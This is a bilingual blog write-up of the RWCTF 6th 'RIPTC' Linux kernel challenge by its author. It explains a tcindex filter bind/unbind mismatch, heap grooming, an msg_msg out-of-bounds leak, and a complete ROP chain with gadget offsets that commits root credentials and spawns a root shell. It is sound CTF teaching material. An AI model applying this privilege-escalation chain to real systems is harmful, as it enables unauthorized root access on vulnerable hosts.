<span class="n">nr_slabs</span> <span class="o">=</span> <span class="n">DIV_ROUND_UP</span><span class="p">(</span><span class="n">nr_objects</span> <span class="o">*</span> <span class="mi">2</span><span class="p">,</span> <span class="n">oo_objects</span><span class="p">(</span><span class="n">s</span><span class="o">-></span><span class="n">oo</span><span class="p">));</span>
<span class="n">s</span><span class="o">-></span><span class="n">cpu_partial_slabs</span> <span class="o">=</span> <span class="n">nr_slabs</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>所以无论per cpu partial上挂的page数量最大值是<a href="https://elixir.bootlin.com/linux/v5.15.94/source/mm/slub.c#L4025">30</a>还是<a href="https://elixir.bootlin.com/linux/v6.1.72/source/mm/slub.c#L4154">8</a>,我设定的总量是<code class="language-plaintext highlighter-rouge">SPRAY_PAGE_NUM + DRAIN_PAGE_NUM = 56</code>,终究都会传递回至buddy系统:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">free_drr_classes</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="p">{</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">DRAIN_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="p">{</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span> <span class="o">+</span> <span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Free drr_class to buddy done</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>info leak</h2>
<p>现在通过改大m_ts去做msg_msg越界读,我们提前在生成msg_msg时,在其内容中放置有关qid信息,即可知道相邻msg_msg是属于哪个msg_queue了。在msgsnd中会将发送的msg_msg链入同一个<code class="language-plaintext highlighter-rouge">msq->q_messages</code>,这样新加入一个较大的带rop payload的msg_msg,越界读后即可泄漏出可控内容的堆地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pipelined_send</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="o">&</span><span class="n">wake_q</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* no one is waiting for this message, enqueue it */</span>
<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="o">-></span><span class="n">m_list</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_messages</span><span class="p">);</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_cbytes</span> <span class="o">+=</span> <span class="n">msgsz</span><span class="p">;</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_qnum</span><span class="o">++</span><span class="p">;</span>
<span class="n">percpu_counter_add_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_bytes</span><span class="p">,</span> <span class="n">msgsz</span><span class="p">);</span>
<span class="n">percpu_counter_add_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_hdrs</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>至于泄漏内核基地址,先找一找在kmalloc-cg-128中有没有可利用的结构体,借鉴使用user_key_payload进行信息泄漏的<a href="https://veritas501.github.io/2022_08_11_%E5%9F%BA%E4%BA%8EUSMA%E7%9A%84%E5%86%85%E6%A0%B8%E9%80%9A%E7%94%A8EXP%E7%BC%96%E5%86%99%E6%80%9D%E8%B7%AF%E5%9C%A8%20CVE-2022-34918%20%E4%B8%8A%E7%9A%84%E5%AE%9E%E8%B7%B5/#0x00-%E7%AE%80%E5%8D%95%E5%9B%9E%E9%A1%BE%E4%B8%8A%E6%AC%A1%E7%9A%84%E6%89%8B%E6%B3%95">手法</a>,CodeQL查询合适的结构体,虽然不多但可以使用<a href="https://elixir.bootlin.com/linux/v6.1.72/source/include/linux/inetdevice.h#L145">in_ifaddr</a>结构体,通过<a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/ipv4/devinet.c#L2789">RTM_NEWADDR</a>删除网卡上的IP地址,<a href="https://blog.csdn.net/zhoutaopower/article/details/86646688">call_rcu</a>写入inet_rcu_free_ifa的地址,再次使用越界读即可泄漏内核基地址。</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme1hkkrnej215k0dqq6m.jpg" alt="" /></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="nf">inet_alloc_ifa</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">in_ifaddr</span><span class="p">),</span> <span class="n">GFP_KERNEL_ACCOUNT</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">inet_rcu_free_ifa</span><span class="p">(</span><span class="k">struct</span> <span class="n">rcu_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="n">ifa</span> <span class="o">=</span> <span class="n">container_of</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="k">struct</span> <span class="n">in_ifaddr</span><span class="p">,</span> <span class="n">rcu_head</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ifa</span><span class="o">-></span><span class="n">ifa_dev</span><span class="p">)</span>
<span class="n">in_dev_put</span><span class="p">(</span><span class="n">ifa</span><span class="o">-></span><span class="n">ifa_dev</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">ifa</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">inet_free_ifa</span><span class="p">(</span><span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="n">ifa</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">call_rcu</span><span class="p">(</span><span class="o">&</span><span class="n">ifa</span><span class="o">-></span><span class="n">rcu_head</span><span class="p">,</span> <span class="n">inet_rcu_free_ifa</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>rop chain</h2>
<p>最后的最后,要再次UAF触发tcindex的enqueue,需要在外面套一层<a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_dsmark.c#L237">dsmark</a>始祖,通过<a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/core/sock.c#L1209">SO_PRIORITY</a>来指定优先级即可到最终的res。参考<a href="https://syst3mfailure.io/corjail/">corjail</a>的rop,提权后<code class="language-plaintext highlighter-rouge">find_task_by_vpid</code>找到task_struct后切换新的fs_struct即可。但需要注意下解决在<code class="language-plaintext highlighter-rouge">__dev_queue_xmit</code>中的<a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/core/dev.c#L4216">rcu_read_lock_bh</a>,解除对应的BH和rcu_read_lock,抢占计数减1的BUG:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">kernel_offset</span> <span class="o">=</span> <span class="n">leaked_inet_rcu_free_ifa</span> <span class="o">-</span> <span class="mh">0xffffffff81e3b5d0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff81c77562</span><span class="p">;</span> <span class="c1">// enqueue: push rsi ; jmp qword ptr [rsi + 0x66]</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// stab</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">168</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// q.len</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mh">0x66</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8112af1e</span><span class="p">;</span> <span class="c1">// pop rsp ; pop r15 ; ret</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108bbd8</span><span class="p">;</span> <span class="c1">// add rsp, 0xb0 ; jmp 0xffffffff82404c80</span>
<span class="n">rop</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mh">0xc0</span><span class="p">);</span>
<span class="c1">// rcu_read_lock_bh()</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff81d435bd</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8103e8a8</span><span class="p">;</span> <span class="c1">// pop rsi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mh">0x200</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811941a0</span><span class="p">;</span> <span class="c1">// __local_bh_enable_ip(_THIS_IP_, SOFTIRQ_DISABLE_OFFSET)</span>
<span class="c1">// rcu_read_unlock()</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8120e350</span><span class="p">;</span> <span class="c1">// __rcu_read_unlock</span>
<span class="c1">// BUG: scheduling while atomic: poc/224/0x00000002</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811c2d20</span><span class="p">;</span> <span class="c1">// preempt_count_sub</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811bb740</span><span class="p">;</span> <span class="c1">// prepare_kernel_cred</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108ef2b</span><span class="p">;</span> <span class="c1">// pop rcx ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff82068a2b</span><span class="p">;</span> <span class="c1">// mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811bb490</span><span class="p">;</span> <span class="c1">// commit_creds</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff837b1f20</span><span class="p">;</span> <span class="c1">// &init_fs</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8144b900</span><span class="p">;</span> <span class="c1">// copy_fs_struct</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811d9b0c</span><span class="p">;</span> <span class="c1">// push rax ; pop rbx ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811b1e60</span><span class="p">;</span> <span class="c1">// find_task_by_vpid</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108ef2b</span><span class="p">;</span> <span class="c1">// pop rcx ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mh">0x828</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810705fe</span><span class="p">;</span> <span class="c1">// add rax, rcx ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff816ac7a4</span><span class="p">;</span> <span class="c1">// mov qword ptr [rax], rbx ; add rsp, 0x10 ; xor eax, eax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404c80</span>
<span class="n">rop</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff82201146</span><span class="p">;</span> <span class="c1">// swapgs_restore_regs_and_return_to_usermode first mov</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="o">&</span><span class="n">get_root_shell</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_cs</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_rflags</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_rsp</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_ss</span><span class="p">;</span>
</code></pre></div></div>
<p>最终的exploit代码时间消耗不到半分钟,成功率接近100%,完整的利用代码可见:<a href="https://github.com/Larryxi/rwctf-6th-riptc">https://github.com/Larryxi/rwctf-6th-riptc</a></p>
<p><img src="https://image.baidu.com/search/down?url=https://wx1.sinaimg.cn/large/ee2fecafly1hme1hqcdbqj20u01hbn71.jpg" alt="" /></p>
<h1>0x04 赛后总结</h1>
<p>本次比赛中<a href="https://github.com/N1ghtu">@N1ghtu</a>仅用了一天就解出了该题目,也是这次比赛中的唯一解,可见他日常的积累与强劲的输出,解法具体而言使用<a href="https://www.willsroot.io/2022/12/entrybleed.html">EntryBleed</a>泄漏内核地址,结合弹性对象pg_vec的特性(其为动态生成的堆地址数组),正好解决了2次引用的问题,堆的内容也是用户完全<a href="https://vul.360.net/archives/391">可控</a>,丝滑又轻松地完成了题目的利用。</p>
<p>对于弹性结构体和偏移24减1的原语,有想过使用<a href="https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606">Dirty Pagetable</a>的方法去利用,但还未来得及付诸实践,看来研究学习的征途依然漫长。巧妇难为无米之炊,个人认为漏洞挖掘和漏洞利用是相辅相成的,本质都是对于系统代码能力的hack,虽然角度不一样,从CTF比赛的角度而言需要给选手们更加丝滑的体验做一些平衡取舍,期待我们下一届<a href="https://www.realworldctf.com/">RWCTF</a>比赛的相遇,感谢。</p>
Larryxi
0x00 出题背景 某日瞥见Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability 这篇文章,讲述了CVE-2023-1829 漏洞成因及利用方法,对应的修复方案是删除整个cls_tcindex.c文件。今年net/sched攻击面在kctf/kernelCTF上大火,引起了安全社区对linux kernel安全的广泛关注,遂以历史遗迹tcindex 为切入点,寻找该文件可能存在的其他安全问题,将这场贴身肉搏的经历献给RWCTF的参赛选手们,望乞海涵。
RWCTF 6th RIPTC Write-up
2024-02-04T00:00:00+00:00
2024-02-04T00:00:00+00:00
https://larryxi.github.io/2024/02/04/rwctf-6th-riptc-write-up
<h1>0x00 Background</h1>
<p>One day, I came across the article <a href="https://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability/">Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability</a>, which discusses the cause and exploitation of the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1829">CVE-2023-1829</a>. The corresponding <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8c710f75256bb3cf05ac7b1672c82b92c43f3d28">remediation</a> is to remove the entire <code class="language-plaintext highlighter-rouge">cls_tcindex.c</code> file. The <code class="language-plaintext highlighter-rouge">net/sched</code> attack surface has been a hot topic on <code class="language-plaintext highlighter-rouge">kctf/kernelCTF</code> since last year, sparking widespread attention from the security community towards the security of the Linux kernel. Therefore, using the historical artifact <code class="language-plaintext highlighter-rouge">tcindex</code> as a starting point, I am looking for other potential security issues that may exist in this file. I dedicate this close-quarters combat experience to the ctfers of RWCTF, and hope you enjoy it.</p>
<!-- more -->
<p>For those who are intrigued by the challenge, you can refer to RIPTC <a href="https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/RIPTC">description</a> and <a href="https://github.com/chaitin/Real-World-CTF-6th-Challenges/releases/download/x/riptc_attachment_241a4f7b8921b131e3237af987ad4f82.tar.gz">attachments</a> first.</p>
<h1>0x01 Vulnerability</h1>
<p>Knowledge about <code class="language-plaintext highlighter-rouge">tcindex</code> requires a basic understanding of the Linux traffic control framework. You can refer to the <a href="https://lartc.org/lartc.pdf">lartc documentation</a>, the <a href="https://man7.org/linux/man-pages/man8/tc.8.html">tc manual</a>, and the <a href="https://elixir.bootlin.com/linux/latest/source/net/sched">kernel source code</a>. By <a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml">referring</a> to historical vulnerabilities <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-3776">CVE-2023-3776</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-4206">CVE-2023-4206</a>, we can see that common security issues in <code class="language-plaintext highlighter-rouge">net/sched/cls_*.c</code> are related to the <code class="language-plaintext highlighter-rouge">tcf_bind_filter</code> call during the change filter process and the handling of <code class="language-plaintext highlighter-rouge">struct tcf_result</code>.</p>
<p>Upon auditing the <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/sched/cls_tcindex.c?id=bbe77c14ee6185a61ba6d5e435c1cbb489d2a9ed"><code class="language-plaintext highlighter-rouge">net/sched/cls_tcindex.c</code></a> file, it is found that each time tcindex is changed, if the original <code class="language-plaintext highlighter-rouge">tcindex_data</code> has a perfect hash table, a new one will be generated based on the incoming <a href="https://man7.org/linux/man-pages/man8/tc-tcindex.8.html">hash parameter</a> (representing hash table size), and the original <code class="language-plaintext highlighter-rouge">tcf_result</code> content will be copied. However, the amount of copying is determined by the minimum value of the incoming hash value and the original hash value. If the incoming hash value is smaller, some of the original <code class="language-plaintext highlighter-rouge">tcf_result</code> content will be directly discarded:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">tcindex_alloc_perfect_hash</span><span class="p">(</span><span class="n">net</span><span class="p">,</span> <span class="n">cp</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">goto</span> <span class="n">errout</span><span class="p">;</span>
<span class="n">cp</span><span class="o">-></span><span class="n">alloc_hash</span> <span class="o">=</span> <span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">min</span><span class="p">(</span><span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">,</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">res</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">res</span><span class="p">;</span>
<span class="n">balloc</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Meanwhile, during the process of releasing the original <code class="language-plaintext highlighter-rouge">tcindex_data</code>, no additional <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> operation was performed on <code class="language-plaintext highlighter-rouge">cp->perfect[i].res</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_partial_destroy_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">container_of</span><span class="p">(</span><span class="n">to_rcu_work</span><span class="p">(</span><span class="n">work</span><span class="p">),</span>
<span class="k">struct</span> <span class="n">tcindex_data</span><span class="p">,</span>
<span class="n">rwork</span><span class="p">);</span>
<span class="n">rtnl_lock</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span>
<span class="n">tcindex_free_perfect_hash</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">rtnl_unlock</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_free_perfect_hash</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">cp</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">tcf_exts_destroy</span><span class="p">(</span><span class="o">&</span><span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">exts</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>With the <code class="language-plaintext highlighter-rouge">classid</code> parameter of tcindex, you can perform the <code class="language-plaintext highlighter-rouge">tcf_bind_filter</code> operation on a specific <code class="language-plaintext highlighter-rouge">class</code> multiple times, leading to a mismatch in the number of bind and unbind operations:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_TCINDEX_CLASSID</span><span class="p">])</span> <span class="p">{</span>
<span class="n">cr</span><span class="p">.</span><span class="n">classid</span> <span class="o">=</span> <span class="n">nla_get_u32</span><span class="p">(</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_TCINDEX_CLASSID</span><span class="p">]);</span>
<span class="n">tcf_bind_filter</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">cr</span><span class="p">,</span> <span class="n">base</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">oldp</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>
<span class="n">r</span><span class="o">-></span><span class="n">res</span> <span class="o">=</span> <span class="n">cr</span><span class="p">;</span>
